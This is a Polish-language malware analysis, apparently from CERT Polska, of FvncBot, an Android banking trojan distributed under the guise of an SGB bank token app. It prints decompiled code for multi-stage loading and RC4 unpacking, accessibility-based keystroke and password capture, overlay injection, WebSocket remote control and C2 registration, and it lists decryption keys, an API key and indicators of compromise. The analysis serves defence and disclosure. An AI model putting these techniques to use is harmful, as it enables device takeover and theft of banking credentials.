Analiza kampanii FvncBot

cert.pl 8 godzin temu

Zespół CERT Polska przeanalizował nowe próbki powiązane z kampanią FvncBot wymierzoną w polskich użytkowników internetu. Poniższy opis został oparty na wariancie kampanii wykorzystującej wizerunek Spółdzielczej Grupy Bankowej.

Podstawowe informacje

Omawiane próbki są hostowane pod adresem ruvofech.it[.]com. Sposób dystrybucji plików nie został jeszcze zidentyfikowany na moment tworzenia tej analizy.

Aplikacja opisana jako Token U2F Mobilna Ochrona SGB informuje użytkownika o konieczności instalacji dodatkowego Play Component, a następnie prowadzi go poprzez proces instalacji dodatkowego modułu opisanego jako Android V.28.11. Ofiara jest następnie nakłaniana do zezwolenia na uruchomienie funkcji ułatwień dostępu pod pretekstem uaktualnienia systemu (System Update). W kolejnym kroku wspomniany moduł rejestruje się na serwerze przestępców i wysyła informacje o zainfekowanym urządzeniu.

Przebieg infekcji

Z perspektywy ofiary ciąg wydarzeń odtworzony podczas dynamicznej analizy próbki wygląda następująco:

Użytkownik uruchamia aplikację wykorzystującą wizerunek SGB i na ekranie startowym widzi komunikat o konieczności instalacji Play Component oraz tekst nakłaniający go do uruchomienia procesu instalacji dzięki guzika Install Component.

System Android przywołuje menu kontekstowe adekwatne dla instalacji aplikacji z nieznanych źródeł (Install unknown apps). Użytkownik widzi informację o instalacji Android V.28.11. Po instalacji modułu, guzik "instalacji" zmienia się w "aktywację" (Activate). Wciśnięcie go powoduje wyświetlenie menu ustawień (Setup Required), które informuje użytkownika o konieczności wyrażenia zgody na uruchomienie funkcji ułatwień dostępu.

Po uruchomieniu usługi, aplikacja wyświetla komunikat All Systems Operational. Każda próbka w tej kampanii używa wizerunku innego banku.

Głównym motywem socjotechnicznym obserwowanej kampanii jest właśnie opisany wyżej podział - widoczna fasada z logotypem i szatą graficzną banku ma na celu zwabienie użytkownika w pułapkę, ale nie odpowiada za samo szkodliwe działanie. Tym zajmuje się zainstalowany za jej pomocą moduł, który ukrywa się za informacjami przypominającymi systemowe komunikaty Androida.

Co przyniosła analiza próbki?

  • Istnieje zewnętrzna paczka danych com.junk.knock, określana mianem Token U2F Mobilna Ochrona SGB.
  • W następnym kroku ładowany jest instalator z /data/user/0/com.junk.knock/app_tell/tWyWeG.txt używając DexClassLoader.
  • Załadowany instalator odpakowuje assets/apk/payload_grass.apk, czyli drugi moduł odpowiedzialny za główny element ataku.
  • Instalator korzysta z core://setup by przekierować ofiarę do kolejnego etapu infekcji.
  • Drugi etap jest spakowany pod com.core.town i określany jako Android V.28.11.
  • Plik APK com.core.town stanowi kolejną warstwę, która ukrywa dodatkowy wsad w zagnieżdżonym zasobie o nazwie qkcCg.jpg.
  • Ukryty zasób jest przekształcany dzięki procesu podobnego do RC4 wprowadzanego przez sDjCM i przekształca się w finalną wersję modułu.
  • Podczas uruchomienia moduł rejestruje urządzenie pod adresem https://jeliornic.it.com/api/v1/devices/register i otrzymuje dane dostępowe unikalne dla danego urządzenia.

Jak się chronić?

  • Pobieraj aplikacje bankowe jedynie z zaufanych źródeł takich jak Google Play Store lub App Store.
  • Jeśli otrzymujesz połączenie telefoniczne rzekomo ze swojego banku, w którym rozmówca informuje o potencjalnym zagrożeniu, rozłącz się i oddzwoń na numer znaleziony na oficjalnej stronie banku. Pozwala to uniknąć oszustw opartych na spoofingu CLI.
  • Traktuj wszelkie instrukcje wymagające manualnej instalacji "komponentu bezpieczeństwa" lub "komponentu uruchomienia" spoza oficjalnego sklepu jako podejrzane i potencjalnie niebezpieczne.
  • Jeśli aplikacja prosi o zgodę na instalację z nieznanych źródeł (Install unknown apps), a następnie o dostęp do funkcji ułatwień dostępu, traktuj to jako ostateczny sygnał ostrzegawczy.

Analiza techniczna

Każda aplikacja na Androida posiada plik manifestu: AndroidManifest.xml. W tym przypadku, już analiza tego pliku pokazuje, iż zewnętrzna aplikacja korzystająca z wizerunku SGB jest zaprojektowana do współpracy z dodatkowym pakietem com.core.town i komunikacji z jego dostawcą.

Manifest i przynęty

<queries> <package android:name="com.core.town"/> <provider android:authorities="com.core.town.provider"/> </queries> ... <application android:label="@string/app_name" android:name="com.erupt.defense.Scementplanet"> <receiver android:name="com.gallery.oppose.OpposeHelper$InstallResultReceiver" ... /> <activity android:name="com.gallery.oppose.OpposeActivity" ... >

Treści wyświetlane na urządzeniu ofiary nie są przypadkowe - są zgodne z procesem asystowanej instalacji danego operatora:

<string name="app_name">Token U2F Mobilna Ochrona SGB</string> <string name="component_required_title">Play Component Required</string> <string name="component_install_description">The Play Component ensures secure and stable application functionality. Installation will take just a few seconds.</string> <string name="install_button">Install Component</string> <string name="permission_required">Installation permission required</string> <string name="permission_granted">Permission granted! Try again</string> <string name="component_active_title">All Systems Operational</string>

Etap 1, wczytywanie: prywatna ścieżka + DexClassLoader

Zewnętrzna klasa aplikacji inicjalizuje prywatne foldery i nazwy plików wykorzystanych podczas wykonywania programu:

public String i = "bonus"; public String j = "tell"; ... public String r = "tWyWeG.txt"; ... return context.getDir(this.j, 0); ... return new File(str, this.r);

Dekoduje także kolejne etapy zawartości i przekazuje kontrolę do asystenta wczytywania (reflective loader helper):

byte[] bArr3 = {91, 5, 10}; ... bArr2[i9] = (byte) (bArr[i9] ^ bArr3[i9 % length2]); ... this.s.a(str, str2, stringBuffer.toString(), context);

Mechanizm wczytywania jest podany wprost (DexClassLoader):

public DexClassLoader a(String str, String str2, String str3, Field field, WeakReference weakReference) throws NoSuchMethodException { Constructor constructor = DexClassLoader.class.getConstructor(String.class, String.class, String.class, ClassLoader.class); Object[] objArr = new Object[4]; objArr[0] = str; objArr[1] = str2; objArr[2] = str3; ... objArr[3] = (ClassLoader) a(method, field, objArr2); DexClassLoader dexClassLoader = (DexClassLoader) constructor.newInstance(objArr); ... return dexClassLoader; }

A dynamiczna analiza próbki potwierdza dokładną ścieżkę wywołania:

{ "tag": "DYNAMIC_CODE_LOADING", "details": { "loader": "DexClassLoader", "dexPath": "/data/user/0/com.junk.knock/app_tell/tWyWeG.txt", "optimizedDir": "/data/user/0/com.junk.knock/app_tell", "libraryPath": "" } }

Etap 2, instalacja: payload_grass.apk i śledzenie ofiary

Załadowany instalator (com.gallery.oppose) przechowuje wiele ważnych wartości w formie Base64+XOR. Po odkodowaniu ujawniają:

  • target package: com.core.town
  • setup URI: core://setup
  • tracking endpoint: https://jeliornic.it.com/api/v1/tracking/events
  • build ID: h8zskxh6kjv

Sam dekoder jest bardzo prosty:

public static final String unwrap(String s, String k) { ... byte[] bArrDecode = Base64.decode(s, 0); ... arrayList.add(Byte.valueOf((byte) (k.charAt(i2 % k.length()) ^ bArrDecode[i]))); ... return new String(CollectionsKt___CollectionsKt.toByteArray(arrayList), Charsets.UTF_8); }

Instalator weryfikuje czy funkcje ułatwień dostępu są już uruchomione:

Cursor cursorQuery = getContentResolver().query(Uri.parse("content://" + INSTANCE.getPROVIDER_AUTHORITY()), null, null, null, null); ... boolean zAreEqual = Intrinsics.areEqual(cursorQuery.isNull(columnIndex) ? null : cursorQuery.getString(columnIndex), "enabled");

Zapisuje zagnieżdżony plik .APK i uruchamia instalację:

File file = new File(opposeActivity.getCacheDir(), "installer_" + System.currentTimeMillis() + ".apk"); InputStream inputStreamOpen = opposeActivity.getAssets().open("apk/payload_grass.apk"); ... fileOutputStream.write(bArr, 0, i); ... opposeActivity.runOnUiThread(new w4(2, opposeActivity, file));

Po instalacji przekazuje kontrolę do kolejnego etapu dzięki deep linku:

private final void openSetupUrl() { try { String strUnwrap = OpposeUtils.unwrap(BuildConfig.OUTSIDE_TOWARD, BuildConfig.GARMENT_RIDE); Intent intent = new Intent("android.intent.action.VIEW"); intent.setData(Uri.parse(strUnwrap)); intent.setFlags(268435456); startActivity(intent);

Na tym etapie również akcje użytkownika są przesyłane do serwera atakującego. Dane zawierają build ID, package name, wersję aplikacji, ID urządzenia, wersję systemu Android i model urządzenia:

private final JSONObject createEventData(String eventName) throws JSONException { JSONObject jSONObject = new JSONObject(); jSONObject.put(NotificationCompat.CATEGORY_EVENT, eventName); jSONObject.put("build_id", OpposeUtils.unwrap(BuildConfig.VIVID_FIX, BuildConfig.GARMENT_RIDE)); jSONObject.put("package_name", BuildConfig.APPLICATION_ID); jSONObject.put("app_version", BuildConfig.VERSION_NAME); jSONObject.put("device_id", getDeviceId());

Instalator wprost monitoruje spełnienie co najmniej poniższych warunków:

sendEvent("accessibility_enabled", ...) sendEvent("app_first_launch", ...) sendEvent("install_permission_granted", ...) sendEvent("installation_success", ...)

Etap 2: com.core.town

Zagnieżdżony plik APK nie jest jedynie atrapą mającą na celu odciągnięcie uwagi. Jego manifest deklaruje implant oparty na usługach ułatwień dostępu, mechanizmy persystencji, przechwytywanie ekranu, wiadomości oparte na Firebase, a także dostawcę wykorzystywanego przez instalator.

<service android:name="com.core.town.service.RemoteAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:exported="true" android:foregroundServiceType="dataSync"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config"/> </service> <service android:name="com.core.town.service.ScreenCaptureService" android:foregroundServiceType="mediaProjection|dataSync"/> ... <activity android:name="com.core.town.SetupActivity" android:exported="true" android:excludeFromRecents="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="core" android:host="setup"/> </intent-filter>

Profil dostępności jest celowo bardzo szeroki:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:description="@string/accessibility_service_description" android:accessibilityEventTypes="typeAllMask" android:accessibilityFeedbackType="feedbackGeneric" android:notificationTimeout="100" android:accessibilityFlags="flagRequestFilterKeyEvents|flagReportViewIds|flagIncludeNotImportantViews|flagDefault" android:canRetrieveWindowContent="true" android:canPerformGestures="true"/>

Poniższe ciągi jasno pokazują sposób zamaskowania drugiego etapu jako rzekomego komponentu systemowego:

<string name="accessibility_service_notification_title">System Update</string> <string name="app_name">Android V.28.11</string> <string name="service_notification_title">System Component</string> <string name="setup_title">Setup Required</string>

Najważniejszym odkryciem jest to, iż com.core.town sam w sobie jest kolejnym modułem ładującym. Jego klasa Application nie tylko uruchamia usługi, ale także ładuje inny ukryty plik o nazwie qkcCg.jpg.

public String f = "fade"; public String g = "easy"; ... public String o = "qkcCg.jpg"; public b p = new b();

Funkcja attachBaseContext() tworzy wewnętrzną ścieżkę dla wspomnianego pliku i wykonuje się jedynie po jego skutecznym wypakowaniu:

String strA = a(a(this.e)); ... File fileA = a(this.e, this.f); ... String strB = b(strA); ... boolean zD = d(strB); ... a(strB, strA, stringBuffer, this.e);

Wypakowanie ukrytego etapu: qkcCg.jpg

Fragment wyciągnięty z classes7.dex wskazuje, iż qkcCg.jpg nie jest plikiem graficznym w klasycznym rozumieniu. Wczytywanie korzysta z prostej warstwy dekodującej i zahardkodowanego klucza:

public String m = "sDjCM";

Zawiera także prosty dekoder na bazie XOR wykorzystywany do odzyskiwania nazw metod:

public String b(byte[] bArr) { ... byte[] bArr3 = {90}; ... bArr2[i13] = (byte) (bArr[i13] ^ bArr3[i13 % length2]); ... return new String(bArr2); }

Samo przekształcenie korzysta z this.m.getBytes() a następnie wykonuje podobną do RC4 pętlę:

Method methodA = a(String.class, b(new byte[]{61, 63, 46, 25, 54, 59, 41, 41}), (Class<?>[]) null); ... Method methodA2 = a((Class) a(methodA, this.m, (Object[]) null), b(new byte[]{61, 63, 46, 24, 35, 46, 63, 41}), (Class<?>[]) null); ... byte[] bArr2 = (byte[]) a(methodA2, this.m, (Object[]) null); ... int[] iArr = new int[256]; for (i3 = 0; i3 < 256; i3++) { iArr[i3] = i3; }
for (i4 = 0; i4 < 256; i4++) { ... int i35 = i33 + bArr2[i34] + 256; ... i25 = i35 % 256; ... a(i4, i25, iArr); } ... byte[] bArr3 = new byte[bArr.length]; for (i6 = 0; i6 < bArr.length; i6++) { ... int i75 = iArr2[(iA2 + iA3) % 256]; ... int i78 = ((i75 + 1) - 1) ^ bArr[i6]; ... bArr3[i6] = (byte) i78; } return bArr3;

Analiza offline potwierdziła, iż zastosowanie RC4 z kluczem sDjCM do pierwotnej wersji pliku qkcCg.jpg skutkuje uzyskaniem archwium ZIP zawierającego finalną wersję classes.dex.

Cechy szkodliwego oprogramowania

Ostatni etap po wypakowaniu odpowiada za adekwatną część zachowania opisywanego modułu. On również wykorzystuje paczkę com.core.town, ale nie służy już tylko do setupu.

Accessibility-based remote control

Ostateczna wersja RemoteAccessibilityService wykonuje otrzymywane wiadomości z instrukcjami przekładając je na wstrzyknięcie gestów i w efekcie akcje globalne:

if (action.equals("com.core.town.CONTROL_MESSAGE")) { ... if (diVar != null) { RemoteAccessibilityService.access$handleControlMessage(remoteAccessibilityService, diVar); } }

Wstrzyknięcie poleceń dotykowych następuje dzięki dispatchGesture():

if (!remoteAccessibilityService.dispatchGesture(new GestureDescription.Builder().addStroke(new GestureDescription.StrokeDescription(path, 0L, j)).build(), new kc0(0), null)) { Log.e("HedgehogUtils", "dispatchGesture() returned FALSE!"); }

Akcje globalne również widać tutaj:

if (diVar instanceof dh) { remoteAccessibilityService.performGlobalAction(1); return; } if (diVar instanceof ih) { remoteAccessibilityService.performGlobalAction(2); return; } if (diVar instanceof rh) { remoteAccessibilityService.performGlobalAction(3); return; }

Binarny dekoder wiadomości przychodzących po protokole Websocket potwierdza, iż są to akcje uruchamiane zdalnie przez operatora oprogramowania:

if (b == 4) { mhVar = dh.c; } else if (b == 5) { mhVar = ih.c; } else if (b == 6) { mhVar = rh.c; } else if (b == 7) { mhVar = ph.c; }

Przechwytywanie tekstu i wejścia klawiatury

Moduł przechwytuje zmiany tekstu z edytowalnych pól i zapisuje zarówno pierwotne, jak i zedytowane wartości:

t80VarArr[0] = new t80("before_text", str); t80VarArr[1] = new t80("added_count", Integer.valueOf(length)); t80VarArr[2] = new t80("removed_count", Integer.valueOf(length2)); t80VarArr[3] = new t80("text_length", Integer.valueOf(str2.length())); t80VarArr[4] = new t80("input_type", str3); gpVar.c("TEXT_CHANGED", string, string2, str4, onVar, f7.A1(t80VarArr));

Każde zdarzenie jest dodawane także do kanału event/log:

t80VarArr2[0] = new t80("package", string); t80VarArr2[1] = new t80("class", str4); t80VarArr2[2] = new t80("before_text", str); t80VarArr2[3] = new t80("text", str2); t80VarArr2[4] = new t80("is_password", Boolean.valueOf(accessibilityNodeInfo.isPassword())); t80VarArr2[5] = new t80("input_type", str3); o("TEXT_CHANGED", f7.A1(t80VarArr2));

Przechwytywany jest także bzepośrednio TYPE_VIEW_TEXT_CHANGED:

gpVar6.c("TEXT_CHANGED", string2, string3, str8, new on(str8, strH13, contentDescription5 != null ? contentDescription5.toString() : null, accessibilityEvent.isPassword()), f7.A1(new t80("before_text", strH1), new t80("added_count", Integer.valueOf(accessibilityEvent.getAddedCount())), new t80("removed_count", Integer.valueOf(accessibilityEvent.getRemovedCount())), new t80("from_index", Integer.valueOf(accessibilityEvent.getFromIndex())), new t80("text_length", Integer.valueOf(strH13.length()))));

Przechwytywanie interfejsu użytkownika

Usługa tworzy pełną reprezentację wyświetlanego ekranu w pliku JSON, zawierającą tekst, opis zawartości, identyfikatory widoków, granice na ekranie, role oraz elementy podrzędne:

jSONObject.put("className", string); ... jSONObject.put("text", string3); ... jSONObject.put("contentDescription", string4); ... jSONObject.put("viewIdResourceName", viewIdResourceName); ... jSONObject.put("bounds", jSONObject2); ... jSONObject.put("role", f(accessibilityNodeInfo));

Wyeksportowana metoda zwraca zserializowane drzewo wraz z wymiarami ekranu:

public final String captureUITree() throws JSONException { AccessibilityNodeInfo rootInActiveWindow = getRootInActiveWindow(); ... JSONObject jSONObjectC = c(rootInActiveWindow, 0); ... jSONObject.put("timestamp", System.currentTimeMillis()); jSONObject.put("screenWidth", this.c); jSONObject.put("screenHeight", this.d); jSONObject.put("root", jSONObjectC); return jSONObject.toString(); }

Nakładki i wstrzyknięcia zawartości sieciowej

Operator może wyświetlać poprzez moduł adresy URL, zawartość HTML, wygasić ekran lub nałożyć nakładkę:

if (lowerCase.equals(ImagesContract.URL)) { ... j80Var4.k(str2); } ... if (lowerCase.equals("html")) { ... j80Var5.g(str2); } ... if (lowerCase.equals("black") && (j80Var = remoteAccessibilityService.overlayManager) != null && j80Var.b(3, false)) { ... } ... if (lowerCase.equals("loading") && (j80Var2 = remoteAccessibilityService.overlayManager) != null) { j80Var2.h(); }

Zestaw instrukcji FCM wprost wspiera klikalne nakładki i aktualizacje ich zadań:

if (string2.equals("show_clickable_overlay")) { ... l(jSONObjectOptJSONObject);
public static void l(JSONObject jSONObject) throws Exception { ... String strOptString = jSONObject.optString(ImagesContract.URL, ""); ... new Handler(Looper.getMainLooper()).post(new nq(remoteAccessibilityService, strOptString, dc0Var, countDownLatch, 0));
if (string2.equals("update_overlay_tasks")) { ... fcmMessageService5.o(jSONObjectOptJSONObject);
arrayList.add(new k80(jSONObject2.getString("task_id"), jSONObject2.getString("package"), jSONObject2.getString(ImagesContract.URL))); l80VarE.e(arrayList);

Ścieżka nakładek pozwala też na wstrzyknięcie spersonalizowanego JavaScript do zawartości WebView w celu zachowania widoczności pól wprowadzania danych przy otwartej klawiaturze - zachowanie charakterystyczne dla nakładek służacych do przechwytywania danych logowania.

Strumieniowanie ekranu i sesje WebSocket

Moduł może także poprosić o dostęp do MediaProjection i uruchomić usługę przechwytywania ekranu działającą na pierwszym planie:

startActivityForResult(((MediaProjectionManager) getSystemService("media_projection")).createScreenCaptureIntent(), 2001);

FCM wspiera też sesje websocketowe:

if (string2.equals("enable_ws")) { ... fcmMessageService5.e(jSONObjectOptJSONObject);

Metoda przyjmuje adres websocketu i klucz do API:

String strOptString = jSONObject.optString("session_id"); int iOptInt = jSONObject.optInt("duration_sec", 3600); boolean zOptBoolean = jSONObject.optBoolean("video_required", false); String strOptString2 = jSONObject.optString("ws_url"); String strOptString3 = jSONObject.optString("ws_api_key", ""); ... intent.putExtra("ws_url", strOptString2); if (strOptString3.length() > 0) { intent.putExtra("ws_api_key", strOptString3); }

Klient websocketowy jest zbudowany na bazie OkHttp i dodaje X-API-Key gdy jest aktywny:

OkHttpClient.Builder timeout = new OkHttpClient.Builder().readTimeout(0L, TimeUnit.MILLISECONDS); ... Request.Builder builderUrl = new Request.Builder().url(str); ... if (str3 != null) { builderUrl.addHeader("X-API-Key", str3); } this.g = this.f.newWebSocket(requestBuild, new af0(this.n, this));

Ze źródeł można także odczytać protokół kontrolny, poniżej przykłady:

  • 1 -> touch/gesture events
  • 2 -> key events
  • 3 -> swipe vector
  • 15 -> overlay mode (black, html, url, loading)
  • 18 -> clipboard injection
  • 22 -> open a settings page
  • 23 -> launch another application
  • 24 -> end session

Fragment wspomnianego dekodera:

} else if (b == 15) { if (byteBuffer.remaining() >= 5) { byte b4 = byteBuffer.get(); int i9 = byteBuffer.getInt(); if (b4 == 0) { str = "black"; } else if (b4 == 1) { str = "html"; } else if (b4 == 2) { str = ImagesContract.URL; } else if (b4 == 3) { str = "loading"; } ... mhVar = new xh(str, str2); } } else if (b == 18) { ... mhVar = new wh(new String(bArr3, qc.a), z); } else if (b == 22) { ... mhVar = new nh(new String(bArr4, qc.a)); } else if (b == 23) { ... mhVar = new mh(new String(bArr5, qc.a)); }

Dodatkowe funkcje pomocnicze

Ostatni etap zawiera także następujące funkcje:

  • upload_apps
  • request_permissions
  • start_polling
  • stop_polling
  • start_heartbeat
  • stop_heartbeat
  • show_settings
  • wake_with_activity
  • show_notification
  • configure_logging

Poszczególne komendy są widoczne także w switchu odpowiadającym za obsługę komunikatów FCM (Firebase Cloud Messaging):

if (string2.equals("upload_apps")) { ... if (string2.equals("request_permissions")) { ... if (string2.equals("start_polling")) { ... if (string2.equals("start_heartbeat")) { ... if (string2.equals("show_settings")) { ... if (string2.equals("configure_logging")) {

Rejestracja urządzenia podczas wykonania programu

Analiza dynamiczna potwierdza wnioski ze statycznej:

Zaobserwowany ruch do serwera:

  • https://jeliornic.it.com/api/v1/tracking/events
  • https://jeliornic.it.com/api/v1/devices/register
  • https://jeliornic.it.com/api/v1/devices/device_bf43438cc5236391/events/batch

Zaobserwowane wartości rejestracji urządzenia:

  • device_id = device_bf43438cc5236391
  • api_key = ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y
  • adres IP backendu zaobserwowany w trakcie sesji: 104.21.59.199

Zaobserwowane nagłówki uwierzytelniające:

  • X-API-Key: ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y
  • X-Device-ID: device_bf43438cc5236391

Bazowy (statyczny) URL serwera jest zagnieżdżony bezpośrednio w ostatnim etapie kodu. Moduł odczytuje stałą z adresem przy pomocy dekodera opartego na XOR i klucza zext0sup3bei25jm:

public abstract class ya { public static final String a = "zext0sup3bei25jm"; }
a = cw.a("EhEMBENJWl9ZBwkAXUcEBBlLEQAeEBod");

Zdekodowana wartość:

  • https://jeliornic.it.com

Proces rejestracji urządzenia jest wskazany wprost w źródłach:

String string = Settings.Secure.getString(l9Var.a.getContentResolver(), "android_id"); ... String strConcat = "device_".concat(string); ... Task<String> token = FirebaseMessaging.getInstance().getToken();
jSONObject.put("device_id", str); jSONObject.put("fcm_token", str3); jSONObject.put("build_id", str2); jSONObject.put("device_info", new JSONObject(mapB)); jSONObject.put("optimization_stats", new JSONObject(mapC)); jSONObjectH = l9Var.h("POST", "/api/v1/devices/register", jSONObject, false);

Po rejestracji dane dostępowe do serwera są przechowywane lokalnie:

sharedPreferences.edit().putString("device_id", jSONObjectH.getString("device_id")).apply(); sharedPreferences.edit().putString("api_key", jSONObjectH.getString("api_key")).apply(); sharedPreferences.edit().putLong("polling_interval_ms", jSONObjectH.optLong("polling_interval_ms", 300000L)).apply();

Do uwierzytelniania w komunikacji HTTP wykorzystano zarówno nagłówek X-API-Key jak i X-Device-ID:

httpURLConnection = (HttpURLConnection) new URL(g + str2).openConnection(); httpURLConnection.setRequestMethod(str); httpURLConnection.setRequestProperty("Content-Type", "application/json"); httpURLConnection.setRequestProperty("Accept", "application/json"); ... httpURLConnection.setRequestProperty("X-API-Key", string); httpURLConnection.setRequestProperty("X-Device-ID", strG);

Ten sam klient HTTP jest używany do odpytywania o polecenia, heartbeatów i wsadowego wysyłania zdarzeń:

JSONObject jSONObjectH = l9Var.h("GET", "/api/v1/devices/" + strG + "/commands?status=pending&limit=10", null, true);
l9Var.h("POST", "/api/v1/devices/" + strG + "/heartbeat", jSONObject, true)
if (l9Var.h("POST", "/api/v1/devices/" + strG + "/events/batch", jSONObject3, true) != null) { return Boolean.TRUE; }

Podsumowanie

Analizowaną próbkę można opisać jako wielomodułowe narzędzie do zdalnego sterowania zainfekowanym urządzeniem i nie jest to typowa fałszywa aplikacja banku. Przynęta w postaci wykorzystania wizerunku SGB, instalator, widoczna paczka Android V.28.11 i ukryty plik qkcCg.jpg są częścią ekosystemu, który umożliwia adwersarzowi pełny dostęp do urządzenia.

Inne próbki analizowane przez CERT Polska w podobnych kampaniach wykorzystują ten sam schemat: przynęta z logotypem banku, instalator, przekazanie sterowania do com.core.town, rejestracja urządzenia pod jeliornic.it.com i wykorzystanie mechanizmu ułatwień dostępu do zwiększenia możliwości aplikacji. Wariant z wizerunkiem banku SGB stanowi zatem kolejną odsłonę kampanii FvncBot.

Wskaźniki infekcji (IoC)

Identyfikatory plików i etapów

  • nazwa zewnętrznej próbki: sgb.apk
  • SHA-256 zewnętrznej próbki: 96b47838ba48b881f4b8e007c5b8c2963db516556865695848ee252571fe5893
  • zewnętrzna paczka: com.junk.knock
  • ścieżka loadera w czasie wykonania: /data/user/0/com.junk.knock/app_tell/tWyWeG.txt
  • SHA-256 instalatora w czasie wykonania: 91a22dcd68500e33ee0aa45d40dc00df58bc1d8e3559a273ff1ab8c3d2d94486
  • dołączona wewnętrzna nazwa apk: payload_grass.apk
  • SHA-256 dołączonego apk: b4708b853ff64530776e8179a748b7e9469eb88491bceaffe3bf16cfe366d75a
  • wewnętrzna nazwa paczki: com.core.town
  • ukryty zasób: qkcCg.jpg
  • SHA-256 ukrytego zasobu: 3d980d21f116bd499bdd0b52b570cbb4ddcbf47aa2dd96b5aae43dbce51f6249
  • klucz do odszyfrowania ukrytego zasobu: sDjCM
  • SHA-256 końcowo wyodrębnionego pliku DEX: 56c28cda7650e6d9287b8c260594bc759f9f7b47cf74b27ad914de0a57b315c6

Infrastruktura sieciowa

  • bazowy URL backendu: https://jeliornic.it.com
  • endpoint służący do śledzenia: https://jeliornic.it.com/api/v1/tracking/events
  • endpoint służący do rejestracji: https://jeliornic.it.com/api/v1/devices/register
  • wzorzec endpointu pobierania poleceń: /api/v1/devices/<device_id>/commands?status=pending&limit=10
  • endpoint do wysyłki paczek zdarzeń: /api/v1/devices/<device_id>/events/batch
  • endpoint heartbeat (utrzymania połączenia): /api/v1/devices/<device_id>/heartbeat
  • wzorzec endpointu sprawdzania statusu polecenia: /api/v1/commands/<command_id>/status
  • adres IP backendu zaobserwowany podczas analizy dynamicznej: 104.21.59.199
Idź do oryginalnego materiału